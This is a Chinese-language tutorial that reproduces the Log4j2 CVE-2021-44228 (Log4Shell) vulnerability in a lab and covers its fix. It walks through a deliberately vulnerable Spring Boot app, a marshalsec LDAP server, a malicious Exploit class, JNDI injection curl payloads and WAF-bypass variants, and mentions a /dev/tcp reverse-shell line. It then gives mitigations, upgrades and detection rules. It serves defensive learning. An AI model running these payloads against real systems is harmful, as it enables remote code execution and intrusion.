
1. 项目概述与核心价值最近在整理内部安全演练的案例库又翻出了那个让全球安全圈和运维团队彻夜难眠的“核弹级”漏洞——Log4j2的CVE-2021-44228。这个漏洞的复现过程可以说是每一位安全从业者、应用开发者乃至运维工程师的“必修课”。它不仅仅是一个简单的代码执行漏洞更是一个关于供应链安全、深度防御和应急响应的经典案例。很多朋友可能听说过它的“威名”知道它危害巨大但具体到攻击者是如何利用的、漏洞的根因是什么、在真实环境中如何快速验证和防御可能还停留在概念层面。今天我就以一个一线攻防演练参与者的视角带大家从零开始手把手、一步步地复现这个漏洞并深入拆解其背后的技术原理、利用手法以及最关键的——我们从中能学到什么。复现这个漏洞不是为了学习攻击恰恰相反是为了更好地防御。只有亲自动手看到一串看似无害的日志记录如何演变成一条完整的远程命令执行链你才能真正理解日志框架的“威力”理解为什么一个底层组件的漏洞能掀起如此大的波澜也才能在未来的开发与运维工作中建立起更深刻的安全意识。无论是做红蓝对抗、渗透测试还是负责应用安全加固、漏洞排查这个复现过程都能给你带来最直观的认知提升。接下来我们就进入正题。2. 漏洞原理深度解析为什么一行日志能执行命令在动手搭建环境之前我们必须先彻底搞清楚CVE-2021-44228到底是怎么回事。很多文章把它简单归结为“日志里插${jndi:ldap://xxx}就能执行命令”这没错但太表面了。理解其深层的运作机制才能举一反三洞察同类风险。2.1 Log4j2的核心功能Lookup与消息解析Log4j2作为一个强大的日志框架提供了一个非常灵活的功能叫“Lookup”。它的本意是好的允许开发者在日志配置或日志消息中动态地插入一些运行时的值比如系统环境变量${env:USER}、Java系统属性${sys:java.version}或是当前时间戳。这个功能通过StrSubstitutor类进行字符串替换插值来实现。问题就出在这个“插值”的机制上。当Log4j2记录一条日志时如果日志消息中包含了${}这样的模式它会尝试去解析并替换其中的内容。这个过程是递归的也就是说替换后的结果如果还包含${}它会继续解析直到没有可解析的表达式为止。这个设计原本是为了实现复杂的动态配置但却为攻击者打开了一扇危险的大门。2.2 JNDI注入从字符串替换到远程代码加载Lookup功能支持多种前缀其中就包括jndiJava Naming and Directory Interface。JNDI是Java提供的一个统一接口用于访问各种命名和目录服务比如LDAP、RMI、DNS等。${jndi:ldap://attacker.com:1389/Exploit}这个表达式的含义是“请通过JNDI接口去连接attacker.com:1389这个LDAP服务器并获取名为Exploit的对象的引用。”在Java的早期版本中具体来说是Java 8u121、7u131、6u141之前JNDI有一个“特性”当客户端从LDAP服务器获取一个对象引用时如果该引用指向一个远程的Java类文件一个.class文件Java会自动从指定的远程地址通过javaCodeBase属性指定加载这个类并在本地实例化。这个过程被称为“远程类加载”。于是攻击链条就清晰了攻击者控制输入攻击者找到一个应用日志记录的点将${jndi:ldap://evil.com/a}作为输入提交比如在网站的User-Agent、搜索框、表单字段中填入。应用记录日志应用程序毫无戒备地将这个字符串记录到了日志里触发了Log4j2的日志记录逻辑。Log4j2递归解析Log4j2在格式化这条日志消息时发现了${}模式启动Lookup解析。JNDI Lookup触发解析器识别出jndi:前缀通过JNDI服务去连接evil.com的LDAP服务。恶意LDAP响应攻击者架设的恶意LDAP服务器返回一个响应指示客户端去另一个HTTP地址http://evil.com/Exploit.class加载一个Java类。远程类加载与执行受害者的Java应用在受影响的老版本JRE上根据LDAP响应自动从http://evil.com下载Exploit.class加载并实例化。这个恶意类的静态代码块或构造函数中包含了攻击者预设的命令执行代码如Runtime.getRuntime().exec(“calc”)或反弹shell的命令从而在受害者服务器上成功执行任意命令。关键点漏洞的核心在于Log4j2默认开启了消息查找Lookup功能且对不可信数据未做任何过滤结合了老版本JRE中JNDI远程类加载的“危险特性”形成了一条完整的利用链。这完美诠释了“深度防御”的缺失——框架的便利性功能、运行时的“特性”、对用户输入的无条件信任三者叠加酿成了大祸。2.3 影响范围与严重性评估这个漏洞的可怕之处在于其低利用门槛和高普遍性。利用简单攻击者无需知道任何业务逻辑只需要能向应用注入一段会被日志记录的字符串即可。HTTP头、参数、表单数据、甚至文件名、数据库字段都可能成为入口。影响广泛Log4j2是Apache基金会下的顶级项目被无数Java应用包括Spring Boot、Apache Solr、Apache Flink、Minecraft服务器等大量知名中间件和框架直接或间接依赖。这意味着从互联网边界服务到内部微服务大量系统暴露在风险之下。后果严重直接导致远程服务器被控制数据泄露、内网横向移动、挖矿、勒索软件植入等后续攻击接踵而至。理解了这些我们复现的目标就非常明确了我们要亲手搭建一个存在漏洞的简单Java Web应用构造一个恶意的LDAP服务模拟攻击者注入payload并最终在目标服务器上弹出计算器或执行其他命令完整走通这条利用链。3. 复现环境搭建与工具选型纸上得来终觉浅绝知此事要躬行。复现环境需要三个核心组件一个存在漏洞的靶机应用、一个攻击者控制的恶意LDAP服务、一个用于托管恶意Java类的HTTP服务。为了高度还原真实场景并便于学习我们选择在本地虚拟机或隔离的网络环境中进行。3.1 靶机应用准备构建一个脆弱的Web服务我们不使用现成的漏洞靶场而是自己写一个最简单的Spring Boot Web应用这样能更清楚地看到漏洞触发的代码点。1. 项目初始化与依赖引入使用Spring Initializr或IDE创建一个新的Spring Boot项目选择Web依赖。关键是在pom.xml中引入存在漏洞版本的Log4j2依赖。CVE-2021-44228影响Log4j2 2.0-beta9 到 2.14.1版本。我们选择2.14.1这个广泛受影响的版本。dependencies dependency groupIdorg.springframework.boot/groupId artifactIdspring-boot-starter-web/artifactId !-- 排除默认的logging依赖强制使用log4j2 -- exclusions exclusion groupIdorg.springframework.boot/groupId artifactIdspring-boot-starter-logging/artifactId /exclusion /exclusions /dependency !-- 引入存在漏洞的log4j2版本 -- dependency groupIdorg.springframework.boot/groupId artifactIdspring-boot-starter-log4j2/artifactId version2.6.1/version !-- 此starter依赖的log4j2-core即为2.14.1 -- /dependency /dependencies2. 编写存在漏洞的控制器创建一个简单的REST控制器它会将用户请求头中的X-Api-Version记录到日志中。这是非常常见的业务逻辑例如记录客户端版本用于排查问题。import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RequestHeader; import org.springframework.web.bind.annotation.RestController; RestController public class VulnerableController { // 使用Log4j2的Logger private static final Logger logger LogManager.getLogger(VulnerableController.class); GetMapping(/hello) public String sayHello(RequestHeader(value X-Api-Version, defaultValue 1.0) String apiVersion) { // 漏洞触发点将用户可控的请求头内容直接记录到日志 logger.info(Received a request with API version: {}, apiVersion); return Hello, your API version is: apiVersion; } }3. 关键配置确认确保应用的application.properties或log4j2.xml没有禁用消息查找功能。默认情况下该功能是开启的。一个典型的、存在漏洞的log4j2.xml配置片段如下Configuration statusWARN Appenders Console nameConsole targetSYSTEM_OUT PatternLayout pattern%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n/ /Console /Appenders Loggers Root levelinfo AppenderRef refConsole/ /Root /Loggers /Configuration注意这里的PatternLayout没有使用%m{nolookups}或%msg{nolookups}这意味着日志消息%msg会进行Lookup解析。实操心得在真实环境中排查此漏洞时第一步就是全局搜索项目中pom.xml、gradle.build、lib目录下的log4j-core-*.jar文件确认版本号。第二步是检查日志配置文件看是否使用了安全模式nolookups或升级到了修复版本2.15.0及以上。自己搭建靶机时故意使用漏洞版本和不安全的配置能让你对排查点印象深刻。3.2 攻击工具准备Marshalsec与SimpleHTTPServer我们需要两个工具来扮演攻击者的角色一个恶意的LDAP引用服务器和一个用于托管恶意Java类的HTTP服务器。1. 恶意LDAP服务器Marshalsec在GitHub上有一个非常著名的工具叫marshalsec它可以快速启动一个恶意的LDAP服务并指定一个远程的Java类地址。当靶机连接这个LDAP服务时marshalsec会返回一个指向该Java类的JNDI引用。下载与编译你需要有Java和Maven环境。git clone https://github.com/mbechler/marshalsec.git cd marshalsec mvn clean package -DskipTests编译成功后在target目录下会生成marshalsec-0.0.3-SNAPSHOT-all.jar。2. 简易HTTP服务器Python3用于托管我们即将编写的恶意Java类文件。Python自带模块即可非常方便。# 在存放恶意class文件的目录下执行 python3 -m http.server 8000这会在本地的8000端口启动一个HTTP服务可以通过http://你的IP:8000/Exploit.class访问到文件。工具选型理由marshalsec是安全研究社区公认的、用于复现JNDI注入漏洞的利器它代码清晰功能专注。Python的HTTP服务器则轻量、无需配置适合快速搭建临时环境。在真实的攻击中攻击者可能会使用更隐蔽的工具或云服务但原理完全相同。3.3 环境网络与版本注意事项Java版本这是复现成功的关键为了模拟最原始的漏洞利用条件靶机应用的Java运行环境必须使用低于8u121、7u131、6u141的版本。否则高版本Java默认禁用了JNDI远程类加载会导致利用失败。建议使用Java 8u111进行测试。你可以使用java -version命令确认。网络连通性确保你的靶机Spring Boot应用能够访问到运行marshalsec和Python HTTP服务的攻击机可以是同一台物理机用localhost或本机IP。如果是在虚拟机中注意网络模式NAT或桥接的设置。防火墙临时关闭或配置防火墙规则允许相关端口LDAP默认1389HTTP默认8000以及Spring Boot的8080的通信。4. 漏洞利用链实战复现环境就绪现在让我们扮演攻击者发起一次完整的攻击。4.1 步骤一制作“武器”——恶意Java类首先我们需要创建一个会在目标机器上执行命令的Java类。这里我们以弹出一个计算器Windows或一个简单文本提示跨平台作为演示证明代码执行成功。创建一个名为Exploit.java的文件public class Exploit { static { try { // Windows 系统弹出计算器 // Runtime.getRuntime().exec(calc.exe); // Linux/Mac 系统弹出终端提示更通用 Runtime.getRuntime().exec(new String[]{/bin/bash, -c, echo Hacked by Log4j2! /tmp/pwned.txt}); // 或者尝试更兼容的命令 // String[] cmd System.getProperty(os.name).toLowerCase().contains(win) ? // new String[]{cmd.exe, /c, calc.exe} : // new String[]{/bin/sh, -c, touch /tmp/pwned}; // Runtime.getRuntime().exec(cmd); } catch (Exception e) { e.printStackTrace(); } } }编译这个类javac Exploit.java编译后会生成Exploit.class文件。将这个.class文件放到你准备启动Python HTTP服务器的目录下。注意事项在实际渗透测试中命令可能会是反弹shell如bash -i /dev/tcp/攻击机IP/端口 01或下载执行木马。这里我们使用无害的命令仅作验证。请务必在完全隔离的测试环境中进行切勿对任何非授权目标进行测试。4.2 步骤二架设“攻击阵地”——启动恶意服务打开两个终端窗口分别启动LDAP服务和HTTP服务。终端1启动恶意LDAP引用服务器# 假设marshalsec jar包在 /tools/marshalsec/target/ 目录下 # Exploit.class 将通过 http://你的攻击机IP:8000/Exploit.class 访问 java -cp /tools/marshalsec/target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://你的攻击机IP:8000/#Exploit命令解释LDAPRefServer是marshalsec提供的类它会在1389端口启动一个LDAP服务。当有客户端我们的靶机连接并查询时它会返回一个指向http://你的攻击机IP:8000/Exploit.class的JNDI引用。#Exploit指定了类名。终端2启动简易HTTP服务器# 进入存放Exploit.class的目录 cd /path/to/exploit_dir python3 -m http.server 8000现在攻击者的基础设施已经搭建完毕一个在1389端口“守株待兔”的LDAP服务器和一个在8000端口提供恶意class文件的HTTP服务器。4.3 步骤三发起“攻击”——向靶机注入Payload启动你的Spring Boot靶机应用默认端口8080。现在我们模拟攻击者向存在漏洞的接口发送请求。使用curl命令或者浏览器插件如Postman、HackBar发送一个HTTP GET请求到http://靶机IP:8080/hello并在请求头中插入我们的恶意Payload。curl -H X-Api-Version: \${jndi:ldap://你的攻击机IP:1389/Exploit} http://靶机IP:8080/hello关键点分析\${jndi:ldap://...}这里的反斜杠\在某些shell中可能需要对$进行转义或者直接使用单引号包裹整个URL。Payload的核心就是利用Log4j2的Lookup功能去触发JNDI调用。ldap://你的攻击机IP:1389/Exploit指定了JNDI要连接的协议LDAP、攻击机的IP和端口、以及查询的对象名Exploit。这个对象名会传递给marshalsec。4.4 步骤四观察“战果”——漏洞触发与命令执行发送请求后立即观察三个终端的输出Spring Boot 靶机终端你应该能在控制台日志中看到类似以下的记录2023-10-27 11:23:45.123 INFO 12345 --- [nio-8080-exec-1] c.e.v.VulnerableController : Received a request with API version: ${jndi:ldap://192.168.1.100:1389/Exploit}紧接着你可能会看到一些关于JNDI、LDAP或类加载的异常或调试信息取决于Log4j2和JVM的配置。但更重要的是如果Java版本允许恶意代码已经执行恶意LDAP服务器终端marshalsec你会看到有连接接入和请求处理的日志证明靶机确实向你的LDAP服务发起了查询。Send LDAP reference result for Exploit redirecting to http://192.168.1.100:8000/Exploit.class恶意HTTP服务器终端Python你会看到一条HTTP GET请求日志请求/Exploit.class文件证明靶机从你的HTTP服务器下载了恶意类。192.168.1.50 - - [27/Oct/2023 11:23:45] GET /Exploit.class HTTP/1.1 200 -最终验证如果使用的是Windows弹计算器的Payload靶机的桌面上应该会弹出计算器程序。如果使用的是Linux/Mac的echo命令检查靶机的/tmp/pwned.txt文件是否被创建并且内容为Hacked by Log4j2!。你也可以在恶意Java类中编写更复杂的命令比如执行whoami、ifconfig等来验证权限和网络环境。至此一次完整的CVE-2021-44228漏洞利用复现就成功了。你亲眼见证了如何通过一个简单的HTTP请求头最终在远程服务器上执行了任意命令。5. 漏洞修复与深度防御方案复现漏洞是为了消灭漏洞。成功复现后我们必须掌握如何修复和防御。修复方案是分层的从紧急缓解到彻底根除。5.1 紧急缓解措施治标在无法立即升级或重启服务的情况下可以采用以下临时方案修改JVM参数推荐这是最快、影响最小的全局方案。通过设置系统属性直接禁止Log4j2的Lookup功能。-Dlog4j2.formatMsgNoLookupstrue在启动应用时加入此参数例如java -Dlog4j2.formatMsgNoLookupstrue -jar your-app.jar。从Log4j2 2.10.0开始此参数有效。移除漏洞类高风险直接删除Log4j2核心jar包中的漏洞相关类。zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class注意此操作可能破坏依赖此功能的正常业务且在对集群中大量服务器操作时容易出错仅作为最后手段。环境变量限制在受影响的Java版本中可以通过设置com.sun.jndi.ldap.object.trustURLCodebase为false来禁用LDAP的远程代码库引用。但这只针对LDAP且需要重启JVM。-Dcom.sun.jndi.ldap.object.trustURLCodebasefalse5.2 根本解决方案治本升级Log4j2版本首选将log4j-core和log4j-api升级到安全版本。 2.16.0此版本默认完全禁用JNDI功能并默认关闭消息查找Lookup。这是最彻底的修复。 2.15.0此版本默认关闭JNDI远程访问log4j2.enableJndi默认为false并对LDAP数据源做了限制。但2.15.0本身被发现存在其他拒绝服务漏洞CVE-2021-45046因此不推荐应直接升级到2.16.0或更高。Maven升级示例dependency groupIdorg.apache.logging.log4j/groupId artifactIdlog4j-core/artifactId version2.17.1/version !-- 使用当时最新的稳定版本 -- /dependency dependency groupIdorg.apache.logging.log4j/groupId artifactIdlog4j-api/artifactId version2.17.1/version /dependency升级JDK版本将生产环境的JDK升级到8u121、7u131、6u141及以上版本。这些版本默认将com.sun.jndi.ldap.object.trustURLCodebase设置为false从根本上切断了JNDI注入远程加载类的利用链。这是基础设施层面最重要的加固措施之一。5.3 防御性编码与架构建议漏洞修复后更重要的是思考如何避免引入同类问题输入验证与过滤对所有用户输入进行严格的校验和过滤。对于日志内容可以考虑在记录前对${和}等特殊字符进行转义或移除。但这不是银弹因为攻击载荷可能以多种编码形式出现。最小化日志内容避免在日志中记录不可控的用户输入尤其是HTTP头、URL参数、用户提交的文本等。只记录必要的、经过处理的业务标识。使用安全的日志模式在Log4j2配置中对于可能包含用户输入的消息部分使用%m{nolookups}或%msg{nolookups}来禁用该条消息的Lookup解析。PatternLayout pattern%d{ISO8601} [%t] %-5level %c{1.} - %m{nolookups}%n/供应链安全扫描将类似Log4j2这样的核心组件纳入软件物料清单SBOM管理并使用SCA软件成分分析工具定期扫描项目依赖及时发现并修复已知漏洞。在CI/CD流水线中集成漏洞扫描环节。网络层防护在企业边界防火墙或WAFWeb应用防火墙上部署针对${jndi:、${ldap、${rmi等模式的检测和拦截规则。同时严格限制服务器对外发起网络连接的能力出站规则即使被植入后门也难以回连攻击者控制端。6. 排查技巧与深度分析实战当面对一个庞大的、历史悠久的系统群时如何快速定位和修复Log4j2漏洞以下是我在实际应急响应中总结的步骤和技巧。6.1 快速影响面评估与定位资产梳理列出所有对外提供服务的Java应用特别是使用Spring Boot、Apache系列中间件Solr, Flink, Druid等、以及任何自研的Java服务。版本检测命令检查在服务器上使用find命令全局搜索log4j-core-*.jar文件并用jar或unzip命令查看内部META-INF/MANIFEST.MF文件中的版本号。find /path/to/search -name log4j-core*.jar -type f jar tf /path/to/log4j-core-2.14.1.jar | grep MANIFEST.MF unzip -p /path/to/log4j-core-2.14.1.jar META-INF/MANIFEST.MF | grep Implementation-Version进程检查使用jps -l列出Java进程再通过jcmd PID VM.system_properties查看进程的java.class.path从中定位Log4j2 jar包路径。依赖分析对于有源码的项目使用mvn dependency:tree | grep log4j或gradle dependencies | grep log4j分析依赖树确认传递依赖引入的Log4j2版本。很多时候漏洞是通过其他依赖如spring-boot-starter-log4j2间接引入的。6.2 漏洞验证与监控在修复前后需要进行验证和监控确保漏洞已被封堵。内部验证在隔离环境使用curl或扫描工具如Nuclei其中包含Log4j2检测模板对修复后的服务发起测试请求观察是否还有对外发起的LDAP/DNS连接。可以在测试Payload中使用DNSLog平台如dnslog.cn的地址通过查看是否有DNS解析记录来判断漏洞是否依然存在。curl -H User-Agent: \${jndi:dns://xxx.dnslog.cn/a} http://your-service/test日志监控在应用日志和系统日志中增加对jndi:、ldap:、rmi:、$%7BURL编码等关键词的监控告警。任何包含此类模式的日志条目都应被视为高危事件进行排查。网络流量监控在关键服务器或网络边界监控是否有异常的出站连接特别是到非常用IP的1389LDAP、1099RMI等端口。可以使用tcpdump、netstat或商业NDR网络检测与响应产品。6.3 复杂场景与变种Payload处理攻击者的Payload不会总是简单的${jndi:ldap://...}他们会使用各种绕过技巧大小写混淆${JNDI:LDAP://...}、${jNdI:...}嵌套绕过${${lower:j}ndi:...}利用Log4j2的其他Lookup如lower:进行构造。编码绕过URL编码%24%7Bjndi:ldap://...%7D(对应${jndi:ldap://...})Unicode编码、Hex编码、Base64编码等。利用其他协议除了LDAP还可能使用RMI、DNS、IIOP等协议。如${jndi:rmi://...}、${jndi:dns://...}DNS查询可用于漏洞探测不直接执行代码但可外带信息。因此在编写WAF规则或日志检测规则时需要采用正则表达式进行模糊匹配并考虑多层解码的可能性。例如可以匹配\$\{.*(jndi|ldap|rmi|dns).*\}.*这样的模式并对输入进行规范化处理后再检测。7. 从Log4j2漏洞反思现代应用安全CVE-2021-44228不仅仅是一个技术漏洞它更像一面镜子映照出现代软件开发和运维体系中一些深层次的问题。1. 供应链安全的极端重要性绝大多数公司并没有直接使用Log4j2但它通过层层依赖无声无息地进入了几乎每一个Java应用。一个你甚至可能没听说过的底层库足以让整个系统沦陷。这要求我们必须建立从开发到运维的全程软件供应链安全管理体系包括严格的第三方组件选型、持续的漏洞监控和快速的应急响应流程。2. 默认安全原则的缺失Log4j2为了追求极致的灵活性和便利性默认开启了一个高风险功能消息查找且没有提供任何安全警告。这违背了“默认安全”的设计原则。作为开发者我们在设计功能、提供配置项时是否也犯了同样的错误是否总是把易用性置于安全性之上3. 深度防御的必然性没有单一的安全措施是万无一失的。即使Log4j2没有漏洞攻击者也可能从其他路径突破。因此我们必须构建纵深防御体系安全的编码实践输入校验、输出编码、及时的依赖更新、严格的网络访问控制最小权限原则、运行时应用自我保护RASP、以及持续的安全监控和威胁狩猎。当一层防御被突破时其他层能提供额外的保护。4. 应急响应能力的考验这个漏洞的爆发和蔓延是对全球IT团队应急响应能力的一次大考。从漏洞情报获取、影响范围评估、修复方案制定、到补丁部署和验证每一个环节都充满挑战。它告诉我们拥有一个事先演练过的、职责清晰的应急响应预案IRP是多么关键。亲手复现一遍CVE-2021-44228你收获的将不仅仅是一个漏洞的利用技巧更是一整套关于漏洞原理分析、环境搭建、工具使用、修复加固和深度思考的方法论。下次再遇到类似的“核弹”漏洞你就能从容不迫知其然更知其所以然快速找到应对之道。安全之路道阻且长行则将至。